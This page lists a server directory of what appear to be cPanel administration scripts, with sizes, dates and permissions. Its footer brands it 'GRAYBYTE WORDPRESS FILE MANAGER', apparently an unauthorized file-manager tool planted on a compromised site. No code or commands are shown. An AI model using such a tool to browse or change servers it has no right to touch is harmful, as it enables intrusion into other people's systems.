18 Aug 2026 4.57 AM
root / root
0755
fix-listen-on-localhost
3.941 KB
2 Jun 2026 4.57 AM
root / root
0755
fix-web-vhost-configuration
6.148 KB
9 Feb 2022 6.45 PM
root / root
0755
fix_dns_zone_ttls
1.337 KB
9 Feb 2022 6.45 PM
root / root
0755
fix_innodb_tables
4.052 KB
9 Feb 2022 6.45 PM
root / root
0755
fix_reseller_acls
10.701 KB
16 Jun 2025 1.21 PM
root / root
0755
fixetchosts
4.32 KB
9 Feb 2022 6.45 PM
root / root
0755
fixheaders
0.559 KB
9 Feb 2022 6.45 PM
root / root
0755
fixmailinglistperms
0.984 KB
9 Feb 2022 6.45 PM
root / root
0755
fixmailman
2.094 KB
9 Feb 2022 6.45 PM
root / root
0755
fixnamedviews
1.218 KB
9 Feb 2022 6.45 PM
root / root
0755
fixndc
0.403 KB
9 Feb 2022 6.45 PM
root / root
0755
fixquotas
18.393 KB
11 Feb 2025 5.08 AM
root / root
0755
fixrelayd
1.742 KB
9 Feb 2022 6.45 PM
root / root
0755
fixrndc
16.387 KB
11 Feb 2025 5.08 AM
root / root
0755
fixtar
0.491 KB
9 Feb 2022 6.45 PM
root / root
0755
fixtlsversions
4.703 KB
9 Feb 2022 6.45 PM
root / root
0755
fixvaliases
1.999 KB
9 Feb 2022 6.45 PM
root / root
0755
fixwebalizer
0.943 KB
9 Feb 2022 6.45 PM
root / root
0755
forcelocaldomain
0.874 KB
9 Feb 2022 6.45 PM
root / root
0755
ftpfetch
2.198 KB
6 Dec 2019 5.06 PM
root / root
0755
ftpquotacheck
8.312 KB
9 Feb 2022 6.45 PM
root / root
0755
ftpsfetch
2.359 KB
6 Dec 2019 5.06 PM
root / root
0755
ftpupdate
0.255 KB
10 Jan 2020 7.19 PM
root / root
0755
gather_update_log_stats
4.252 KB
27 Jul 2026 9.43 PM
root / root
0700
gather_update_logs_setupcrontab
5.451 KB
27 Jul 2026 9.43 PM
root / root
0700
gemwrapper
1.741 KB
9 Feb 2022 6.45 PM
root / root
0755
gencrt
6.26 KB
9 Feb 2022 6.45 PM
root / root
0755
generate_account_suspension_include
5.703 KB
9 Feb 2022 6.45 PM
root / root
0755
generate_google_drive_credentials
1.108 KB
9 Feb 2022 6.45 PM
root / root
0755
generate_google_drive_oauth_uri
0.961 KB
9 Feb 2022 6.45 PM
root / root
0755
generate_maildirsize
14.559 KB
2 Jul 2026 4.57 AM
root / root
0755
gensysinfo
1.157 KB
9 Feb 2022 6.45 PM
root / root
0755
get_locale_from_legacy_name_info
1.993 KB
9 Feb 2022 6.45 PM
root / root
0755
getremotecpmove
22.543 KB
1 Sep 2026 4.57 AM
root / root
0755
grpck
1.189 KB
9 Feb 2022 6.45 PM
root / root
0755
hackcheck
3.02 KB
9 Feb 2022 6.45 PM
root / root
0755
hook
1.452 KB
9 Feb 2022 6.45 PM
root / root
0755
httpspamdetect
2.823 KB
11 Jun 2026 4.58 AM
root / root
0755
hulk-unban-ip
4.08 MB
18 Aug 2026 4.57 AM
root / root
0700
import_exim_data
8.392 KB
28 Jul 2022 12.22 AM
root / root
0755
increase_filesystem_limits
0.87 KB
9 Feb 2022 6.45 PM
root / root
0755
initacls
4.987 KB
9 Feb 2022 6.45 PM
root / root
0755
initfpsuexec
0.434 KB
9 Feb 2022 6.45 PM
root / root
0755
initialize_360monitoring
2.758 KB
25 Jun 2026 1.40 PM
root / root
0700
initquotas
19.347 KB
26 Feb 2026 4.57 AM
root / root
0755
initsuexec
4.026 KB
9 Feb 2022 6.45 PM
root / root
0755
install_cpanel_analytics
1.927 KB
2 Dec 2022 4.41 PM
root / root
0755
install_dovecot_fts
1.567 KB
9 Feb 2022 6.45 PM
root / root
0755
install_plugin
2.802 KB
28 Jul 2022 12.22 AM
root / root
0755
install_tuxcare_els_php
1.845 KB
10 Dec 2025 4.21 PM
root / root
0755
installpkg
0.562 KB
9 Feb 2022 6.45 PM
root / root
0755
installpostgres
6.558 KB
12 Sep 2025 1.13 PM
root / root
0755
installsqlite3
1.822 KB
9 Feb 2022 6.45 PM
root / root
0755
ipcheck
3.926 KB
9 Feb 2022 6.45 PM
root / root
0755
ipusage
7.445 KB
9 Feb 2022 6.45 PM
root / root
0755
is_update_available
3.265 KB
20 May 2026 4.57 AM
root / root
0755
isdedicatedip
0.588 KB
9 Feb 2022 6.45 PM
root / root
0755
jetbackup-check
3.688 KB
9 Feb 2022 6.45 PM
root / root
0755
killdns
0.412 KB
9 Feb 2022 6.45 PM
root / root
0755
killdns-dnsadmin
1.152 KB
9 Feb 2022 6.45 PM
root / root
0755
killmysqluserprivs
0.423 KB
9 Feb 2022 6.45 PM
root / root
0755
killmysqlwildcard
1.152 KB
9 Feb 2022 6.45 PM
root / root
0755
killpvhost
0.833 KB
9 Feb 2022 6.45 PM
root / root
0755
killspamkeys
0.915 KB
9 Feb 2022 6.45 PM
root / root
0755
link_3rdparty_binaries
1.241 KB
11 Mar 2022 3.43 PM
root / root
0755
linksubemailtomainacct
3.172 KB
9 Feb 2022 6.45 PM
root / root
0755
listcheck
0.525 KB
9 Feb 2022 6.45 PM
root / root
0755
listsubdomains
1.049 KB
9 Feb 2022 6.45 PM
root / root
0755
litespeed-check
3.859 KB
9 Feb 2022 6.45 PM
root / root
0755
locale_export
5.206 KB
11 Feb 2025 5.08 AM
root / root
0755
locale_import
4.69 KB
29 Jul 2026 4.50 PM
root / root
0755
locale_info
3.99 KB
9 Feb 2022 6.45 PM
root / root
0755
log_retention
21.282 KB
26 Feb 2026 4.57 AM
root / root
0755
logo.dat
0.2 KB
11 Feb 2015 5.35 PM
root / root
0644
magicloader
1.938 KB
9 Feb 2022 6.45 PM
root / root
0755
maildir_converter
6.076 KB
9 Feb 2022 6.45 PM
root / root
0755
mailperm
16.526 KB
11 Feb 2025 5.08 AM
root / root
0755
mailscannerupdate
2.42 KB
9 Feb 2022 6.45 PM
root / root
0755
mainipcheck
9.996 KB
9 Feb 2022 6.45 PM
root / root
0755
maintenance
52.192 KB
7 Aug 2026 4.57 AM
root / root
0755
make_config
0.397 KB
11 Feb 2015 5.35 PM
root / root
0644
make_hostname_unowned
1.161 KB
9 Feb 2022 6.45 PM
root / root
0755
manage_extra_marketing
12.762 KB
10 Sep 2026 4.31 PM
root / root
0700
manage_greylisting
16.327 KB
11 Jun 2026 4.57 AM
root / root
0755
manage_mysql_profiles
16.335 KB
11 Feb 2025 5.08 AM
root / root
0755
mass_change_php_setting
10.648 KB
11 Jun 2026 4.58 AM
root / root
0755
migrate_ccs_to_cpdavd
47.057 KB
11 Feb 2025 5.08 AM
root / root
0755
migrate_local_ini_to_php_ini
7.409 KB
9 Feb 2022 6.45 PM
root / root
0755
migrate_whmtheme_file_to_userdata
2.954 KB
9 Feb 2022 6.45 PM
root / root
0755
mkwwwacctconf
2.329 KB
31 Aug 2022 5.28 PM
root / root
0755
modify_accounts
4.071 KB
11 Feb 2025 5.08 AM
root / root
0755
modify_featurelist
16.164 KB
10 Sep 2026 4.31 PM
root / root
0700
modify_packages
3.639 KB
11 Feb 2025 5.08 AM
root / root
0755
modsec_vendor
15.633 KB
9 Feb 2022 6.45 PM
root / root
0755
mysqlconnectioncheck
6.716 KB
11 Feb 2025 5.08 AM
root / root
0755
mysqlpasswd
4.136 KB
11 Feb 2025 5.08 AM
root / root
0755
named.ca
1.565 KB
11 Feb 2015 5.35 PM
root / root
0644
named.rfc1912.zones
0.756 KB
22 Sep 2017 4.06 PM
root / root
0644
notify_expiring_certificates
9.367 KB
11 Mar 2022 3.43 PM
root / root
0755
notify_expiring_certificates_on_linked_nodes
1.329 KB
28 Jul 2022 12.22 AM
root / root
0755
oopscheck
1.115 KB
9 Feb 2022 6.45 PM
root / root
0755
optimize_eximstats
3.882 KB
9 Feb 2022 6.45 PM
root / root
0755
panel_ini
4.111 KB
2 Jun 2026 4.57 AM
root / root
0755
patch_mail_spamassassin_compiledregexps_body_0
2.395 KB
9 Feb 2022 6.45 PM
root / root
0755
patchfdsetsize
2.719 KB
9 Feb 2022 6.45 PM
root / root
0755
pedquota
2.256 KB
9 Feb 2022 6.45 PM
root / root
0755
perform_sqlite_auto_rebuild_db_maintenance
1.983 KB
11 Feb 2025 5.08 AM
root / root
0755
perlinstaller
0.516 KB
9 Feb 2022 6.45 PM
root / root
0755
perlmods
1.176 KB
9 Feb 2022 6.45 PM
root / root
0755
php_fpm_config
9.734 KB
9 Feb 2022 6.45 PM
root / root
0755
phpini_tidy
0.671 KB
9 Feb 2022 6.45 PM
root / root
0755
pkgacct
89.907 KB
11 Jun 2026 4.58 AM
root / root
0755
post_snapshot
2.094 KB
11 Feb 2025 5.08 AM
root / root
0755
post_sync_cleanup
5.833 KB
11 Jun 2026 4.58 AM
root / root
0755
primary_virtual_host_migration
2.443 KB
9 Feb 2022 6.45 PM
root / root
0755
process_cpmove
4.315 KB
14 Jul 2026 1.33 PM
root / root
0755
process_pending_cpanel_php_pear_registration
2.728 KB
16 Jun 2025 1.21 PM
root / root
0755
proxydomains
9.592 KB
12 Sep 2025 1.13 PM
root / root
0755
ptycheck
0.707 KB
9 Feb 2022 6.45 PM
root / root
0755
purge_modsec_log
1.526 KB
9 Feb 2022 6.45 PM
root / root
0755
purge_old_config_caches
2.075 KB
9 Feb 2022 6.45 PM
root / root
0755
pwck
0.691 KB
9 Feb 2022 6.45 PM
root / root
0755
quickdnslookup
1.132 KB
9 Feb 2022 6.45 PM
root / root
0755
quickwhoisips
2.293 KB
28 Jul 2022 12.22 AM
root / root
0755
quota_auto_fix
1.406 KB
9 Feb 2022 6.45 PM
root / root
0755
quotacheck
22.363 KB
28 Jul 2022 12.22 AM
root / root
0755
rawchpass
0.449 KB
9 Feb 2022 6.45 PM
root / root
0755
rdate
4.798 KB
28 Jul 2022 12.22 AM
root / root
0755
realadduser
5.608 KB
9 Feb 2022 6.45 PM
root / root
0755
realchpass
3.258 KB
9 Feb 2022 6.45 PM
root / root
0755
realperlinstaller
5.669 KB
9 Feb 2022 6.45 PM
root / root
0755
realrawchpass
0.415 KB
9 Feb 2022 6.45 PM
root / root
0755
rebuild_bandwidthdb_root_cache
1.452 KB
9 Feb 2022 6.45 PM
root / root
0755
rebuild_dbmap
5.798 KB
9 Feb 2022 6.45 PM
root / root
0755
rebuild_provider_openid_connect_links_db
1.015 KB
9 Feb 2022 6.45 PM
root / root
0755
rebuild_whm_chrome
2.224 KB
9 Feb 2022 6.45 PM
root / root
0755
rebuilddnsconfig
25.498 KB
7 Mar 2025 3.31 PM
root / root
0755
rebuildhttpdconf
2.602 KB
9 Feb 2022 6.45 PM
root / root
0755
rebuildinstalledssldb
2.849 KB
9 Feb 2022 6.45 PM
root / root
0755
rebuildippool
0.497 KB
9 Feb 2022 6.45 PM
root / root
0755
rebuilduserssldb
0.926 KB
9 Feb 2022 6.45 PM
root / root
0755
refresh-dkim-validity-cache
5.967 KB
9 Feb 2022 6.45 PM
root / root
0755
regenerate_tokens
2.176 KB
20 Apr 2022 7.26 PM
root / root
0755
remote_log_transfer
11.597 KB
31 Aug 2022 5.28 PM
root / root
0755
remove_dovecot_index_files
5.887 KB
9 Feb 2022 6.45 PM
root / root
0755
removeacct
28.2 MB
11 Sep 2026 4.57 AM
root / root
0700
rescan_user_dovecot_fts
2.977 KB
9 Feb 2022 6.45 PM
root / root
0755
reset_mail_quotas_to_sane_values
6.818 KB
9 Feb 2022 6.45 PM
root / root
0755
resetmailmanurls
2.028 KB
9 Feb 2022 6.45 PM
root / root
0755
resetquotas
4.612 KB
11 Feb 2025 5.08 AM
root / root
0755
restartsrv
3.189 KB
11 Feb 2025 5.08 AM
root / root
0755
restartsrv_apache
0.412 KB
9 Feb 2022 6.45 PM
root / root
0755
restartsrv_apache_php_fpm
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_base
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_bind
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_chkservd
0.417 KB
9 Feb 2022 6.45 PM
root / root
0755
restartsrv_clamd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_cpanel_php_fpm
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_cpanellogd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_cpdavd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_cpgreylistd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_cphulkd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_cpipv6
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_cpsrvd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_crond
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_dnsadmin
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_dovecot
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_exim
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_eximstats
0.492 KB
9 Feb 2022 6.45 PM
root / root
0755
restartsrv_ftpd
0.416 KB
9 Feb 2022 6.45 PM
root / root
0755
restartsrv_ftpserver
0.89 KB
9 Feb 2022 6.45 PM
root / root
0755
restartsrv_httpd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_imap
0.427 KB
9 Feb 2022 6.45 PM
root / root
0755
restartsrv_inetd
2.466 KB
20 Apr 2022 7.26 PM
root / root
0755
restartsrv_ipaliases
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_lmtp
0.427 KB
9 Feb 2022 6.45 PM
root / root
0755
restartsrv_mailman
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_mysql
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_named
0.565 KB
11 Feb 2025 5.08 AM
root / root
0755
restartsrv_nscd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_p0f
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_pdns
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_pop3
0.427 KB
9 Feb 2022 6.45 PM
root / root
0755
restartsrv_postgres
0.417 KB
9 Feb 2022 6.45 PM
root / root
0755
restartsrv_postgresql
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_powerdns
0.432 KB
9 Feb 2022 6.45 PM
root / root
0755
restartsrv_proftpd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_pureftpd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_queueprocd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_rsyslog
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_rsyslogd
0.427 KB
9 Feb 2022 6.45 PM
root / root
0755
restartsrv_spamd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_sshd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_syslogd
2.4 KB
11 Mar 2022 3.43 PM
root / root
0755
restartsrv_tailwatchd
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_unknown
10.78 MB
11 Sep 2026 4.57 AM
root / root
0755
restartsrv_xinetd
0.412 KB
9 Feb 2022 6.45 PM
root / root
0755
restorecpuserfromcache
1.961 KB
9 Feb 2022 6.45 PM
root / root
0755
restorepkg
48.7 MB
11 Sep 2026 4.57 AM
root / root
0700
rfc1912_zones.tar
10 KB
11 Feb 2015 5.35 PM
root / root
0644
rpmup
5.069 KB
11 Feb 2025 5.08 AM
root / root
0755
rsync-user-homedir.pl
5.765 KB
9 Feb 2022 6.45 PM
root / root
0755
run_if_exists
0.5 KB
9 Feb 2022 6.45 PM
root / root
0755
run_plugin_lifecycle
3.965 KB
10 Sep 2026 4.31 PM
root / root
0700
runstatsonce
0.43 KB
9 Feb 2022 6.45 PM
root / root
0755
runweblogs
1.021 KB
9 Feb 2022 6.45 PM
root / root
0755
sa-update_wrapper
3.338 KB
9 Feb 2022 6.45 PM
root / root
0755
safetybits.pl
0.824 KB
9 Feb 2022 6.45 PM
root / root
0755
secureit
4.721 KB
9 Feb 2022 6.45 PM
root / root
0755
securemysql
4.396 KB
11 Feb 2025 5.08 AM
root / root
0755
securerailsapps
3.575 KB
9 Feb 2022 6.45 PM
root / root
0755
securetmp
16.76 KB
16 Jun 2025 1.21 PM
root / root
0755
sendicq
0.463 KB
9 Feb 2022 6.45 PM
root / root
0755
servicedomains
9.592 KB
12 Sep 2025 1.13 PM
root / root
0755
set_mailman_archive_perms
1.754 KB
9 Feb 2022 6.45 PM
root / root
0755
setpostgresconfig
6.036 KB
9 Feb 2022 6.45 PM
root / root
0755
setup_greylist_db
16.327 KB
11 Jun 2026 4.57 AM
root / root
0755
setup_modsec_db
1.304 KB
9 Feb 2022 6.45 PM
root / root
0755
setup_systemd_timer_for_plugins
3.921 KB
10 Sep 2026 4.31 PM
root / root
0700
setupftpserver
10.475 KB
9 Feb 2022 6.45 PM
root / root
0755
setupmailserver
9.393 KB
7 Mar 2025 3.31 PM
root / root
0755
setupnameserver
12.596 KB
12 Sep 2025 1.13 PM
root / root
0755
show_php_settings
3.674 KB
11 Jun 2026 4.58 AM
root / root
0755
shrink_modsec_ip_database
12.974 KB
9 Feb 2022 6.45 PM
root / root
0755
simpleps
3.051 KB
9 Feb 2022 6.45 PM
root / root
0755
slurp_exim_mainlog
5.775 KB
9 Feb 2022 6.45 PM
root / root
0755
smartcheck
15.128 KB
16 Jun 2025 1.21 PM
root / root
0755
smtpmailgidonly
8.147 KB
8 Jul 2026 8.50 PM
root / root
0755
snapshot_prep
5.876 KB
11 Feb 2025 5.08 AM
root / root
0755
spamassassin_dbm_cleaner
5.853 KB
28 Jul 2022 12.22 AM
root / root
0755
spamassassindisable
3.74 KB
10 Jun 2022 3.47 PM
root / root
0755
spamboxdisable
2.27 KB
10 Jun 2022 3.47 PM
root / root
0755
sshcontrol
14.377 KB
9 Feb 2022 6.45 PM
root / root
0755
ssl_crt_status
3.836 KB
9 Feb 2022 6.45 PM
root / root
0755
suspendacct
18.082 KB
12 Sep 2025 1.13 PM
root / root
0755
suspendmysqlusers
4.775 KB
11 Feb 2025 5.08 AM
root / root
0755
swapip
3.822 KB
9 Feb 2022 6.45 PM
root / root
0755
sync-mysql-users-from-grants
1.196 KB
9 Feb 2022 6.45 PM
root / root
0755
sync_child_accounts
1.771 KB
9 Feb 2022 6.45 PM
root / root
0755
sync_contact_emails_to_cpanel_users_files
1.136 KB
10 Jun 2022 3.47 PM
root / root
0755
synctransfers
1.925 KB
9 Feb 2022 6.45 PM
root / root
0755
syslog_check
1.358 KB
9 Feb 2022 6.45 PM
root / root
0755
sysup
0.63 KB
9 Feb 2022 6.45 PM
root / root
0755
test_sa_compiled
1.067 KB
9 Feb 2022 6.45 PM
root / root
0755
transfer_account_as_user
2.342 KB
9 Feb 2022 6.45 PM
root / root
0755
transfer_accounts_as_root
4.756 KB
9 Feb 2022 6.45 PM
root / root
0755
transfer_in_progress
3.082 KB
9 Feb 2022 6.45 PM
root / root
0755
transfer_in_progress.pod
0.305 KB
17 Nov 2016 1.07 AM
root / root
0644
transfermysqlusers
10.1 MB
11 Sep 2026 4.57 AM
root / root
0700
try-later
7.949 KB
9 Feb 2022 6.45 PM
root / root
0755
unblockip
0.651 KB
9 Feb 2022 6.45 PM
root / root
0755
uninstall_cpanel_analytics
1.201 KB
9 Feb 2022 6.45 PM
root / root
0755
uninstall_dovecot_fts
0.549 KB
9 Feb 2022 6.45 PM
root / root
0755
uninstall_plugin
2.839 KB
28 Jul 2022 12.22 AM
root / root
0755
unlink_service_account
2.619 KB
9 Feb 2022 6.45 PM
root / root
0755
unpkgacct
4.603 KB
9 Feb 2022 6.45 PM
root / root
0755
unslavenamedconf
0.843 KB
9 Feb 2022 6.45 PM
root / root
0755
unsuspendacct
18.455 KB
11 Sep 2026 4.57 AM
root / root
0755
unsuspendmysqlusers
7.096 KB
11 Feb 2025 5.08 AM
root / root
0755
upcp
43.006 KB
25 Aug 2026 4.57 AM
root / root
0755
upcp-running
2.703 KB
9 Feb 2022 6.45 PM
root / root
0755
upcp.static
955.33 KB
11 Sep 2026 4.57 AM
root / root
0755
update-packages
5.069 KB
11 Feb 2025 5.08 AM
root / root
0755
update_apachectl
0.469 KB
9 Feb 2022 6.45 PM
root / root
0755
update_db_cache
0.42 KB
9 Feb 2022 6.45 PM
root / root
0755
update_dkim_keys
1.45 KB
9 Feb 2022 6.45 PM
root / root
0755
update_exim_rejects
1.213 KB
9 Feb 2022 6.45 PM
root / root
0755
update_existing_mail_quotas_for_account
4.776 KB
9 Feb 2022 6.45 PM
root / root
0755
update_feature_flags
0.935 KB
11 Feb 2025 5.08 AM
root / root
0755
update_freebusy_data
5.25 KB
1 Apr 2025 10.57 PM
root / root
0755
update_known_proxy_ips
0.979 KB
9 Feb 2022 6.45 PM
root / root
0755
update_local_rpm_versions
4.56 KB
2 Dec 2022 4.41 PM
root / root
0755
update_mailman_cache
8.345 KB
9 Feb 2022 6.45 PM
root / root
0755
update_mysql_systemd_config
1.068 KB
7 Mar 2025 3.31 PM
root / root
0755
update_neighbor_netblocks
0.476 KB
9 Feb 2022 6.45 PM
root / root
0755
update_sa_config
2.145 KB
9 Feb 2022 6.45 PM
root / root
0755
update_spamassassin_config
10.73 KB
2 Dec 2022 4.41 PM
root / root
0755
update_users_jail
0.675 KB
9 Feb 2022 6.45 PM
root / root
0755
update_users_vhosts
0.782 KB
9 Feb 2022 6.45 PM
root / root
0755
updatedomainips
0.591 KB
9 Feb 2022 6.45 PM
root / root
0755
updatenameserverips
1.656 KB
9 Feb 2022 6.45 PM
root / root
0755
updatenow
5.178 KB
28 Jul 2022 12.22 AM
root / root
0755
updatenow.static
2.02 MB
11 Sep 2026 4.57 AM
root / root
0755
updatenow.static-cpanelsync
2.03 MB
12 Sep 2026 4.57 AM
root / root
0700
updatesigningkey
1.949 KB
9 Feb 2022 6.45 PM
root / root
0755
updatessldomains
1.813 KB
9 Feb 2022 6.45 PM
root / root
0755
updatesupportauthorizations
2.492 KB
9 Feb 2022 6.45 PM
root / root
0755
updateuserdatacache
2.47 KB
9 Feb 2022 6.45 PM
root / root
0755
updateuserdomains
0.756 KB
9 Feb 2022 6.45 PM
root / root
0755
upgrade_bandwidth_dbs
2.219 KB
9 Feb 2022 6.45 PM
root / root
0755
upgrade_subaccount_databases
2.731 KB
9 Feb 2022 6.45 PM
root / root
0755
userdata_wildcard_cleanup
5.739 KB
9 Feb 2022 6.45 PM
root / root
0755
userdirctl
5.014 KB
9 Feb 2022 6.45 PM
root / root
0755
validate_sshkey_passphrase
1.215 KB
9 Feb 2022 6.45 PM
root / root
0755
verify_api_spec_files
0.739 KB
9 Feb 2022 6.45 PM
root / root
0755
verify_pidfile
1.961 KB
9 Feb 2022 6.45 PM
root / root
0755
verify_vhost_includes
7.341 KB
28 Jul 2022 12.22 AM
root / root
0755
vps_optimizer
7.819 KB
9 Feb 2022 6.45 PM
root / root
0755
vzzo-fixer
0.708 KB
9 Feb 2022 6.45 PM
root / root
0755
whmlogin
2.334 KB
9 Feb 2022 6.45 PM
root / root
0755
whoowns
1.128 KB
13 Sep 2016 4.25 PM
root / root
0755
wwwacct
30.35 MB
11 Sep 2026 4.57 AM
root / root
0700
wwwacct2
0.086 KB
11 Feb 2015 5.35 PM
root / root
0755
xfer_rcube_schema_migrate.pl
2.402 KB
9 Feb 2022 6.45 PM
root / root
0755
xfer_rcube_uid_resolver.pl
1.803 KB
9 Feb 2022 6.45 PM
root / root
0755
xferpoint
3.126 KB
9 Feb 2022 6.45 PM
root / root
0755
xfertool
16.234 KB
11 Feb 2025 5.08 AM
root / root
0755
zoneexists
0.781 KB
9 Feb 2022 6.45 PM
root / root
0755

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF